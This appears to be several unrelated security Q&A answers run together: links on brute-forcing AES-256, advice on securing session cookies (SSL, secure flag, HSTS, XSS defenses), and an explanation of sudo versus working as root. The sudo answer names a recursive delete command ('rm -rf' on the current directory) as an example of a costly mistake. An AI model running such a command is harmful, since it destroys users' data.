https://crypto.stackexchange.com/questions/1145/how-much-would-it-cost-in-u-s-dollars-to-brute-force-a-256-bit-key-in-a-year
https://www.reddit.com/r/theydidthemath/comments/1x50xl/time_and_energy_required_to_bruteforce_a_aes256/


From the perspective of the site developer, you should use the following:

Adopt SSL: use SSL sitewide.
Set the secure flag on all cookies.  This will ensure that they are only sent over a SSL connection.
Turn on HSTS.

This will ensure that session cookies are only accessible via SSL, and protect you from eavesdropping and man-in-the-middle attacks.
Search for SSL sitewide on this site to find many references on how to do this.
I wouldn't bother with checking the HTTP User Agent or the remote IP address.  They don't add much security and they will break legitimate use in certain scenarios.  Checking the SSL session ID (SSL session binding) would be OK from a security perspective, but may be a bit painful to configure and would not be a high priority for me: the other defenses are fine.

Other advice:
If your concern is cookie theft via XSS, the best defense is to use standard methods to avoid XSS bugs in your web application.  See OWASP for many excellent resources (you'll want to use context-dependent output escaping).
You mention "session fixation" as a tag, but that's a very different threat.  The defense against session fixation is to use a framework that is not vulnerable to session fixation.  Most modern web application development frameworks should take care of this for you without requiring any additional work.
Follow secure web application development practices.  OWASP has many excellent resources on this.
Read @Rook's advice carefully and follow it:

Checking the ip address will prevent people behind a load balancer
from accessing the site. Checking the user-agent provides no added
protection as this variable is attacker-controlled. The site needs to
be free form xss, csrf and click-jacking vulnerabilities.


Because sudo allows much finer-grained controls than "login as root then do whatever you want." For example you can configure sudo so that some users are only allowed to run certain commands (like wrapper scripts or "acceptable" binaries). You're concerned about a trojan horse compromising a single-user's computer, but sudo was created to allow logging and access control on a server that is administered by multiple people.

Of course on a single-user system, the important files are the user's files, and once you get access to the user's account you already have access to those files, so getting the password is not even that important anymore. Even if the password is your goal (say, you're attacking someone who reuses passwords) there are plenty of ways to get it without involving sudo; for example, I've recently encountered 2 installed-by-default programs that will log passwords or password errors in plaintext.

And finally, it's advisable to not run as root whenever possible because the consequences of mistyping a command (rm_-rf_._/ is an obvious example) aren't as severe.  Requiring the extra step of writing sudo at the beginning of a command as opposed to "forgetting you're logged in as root and doing something destructive" can avoid some simple but serious mistakes.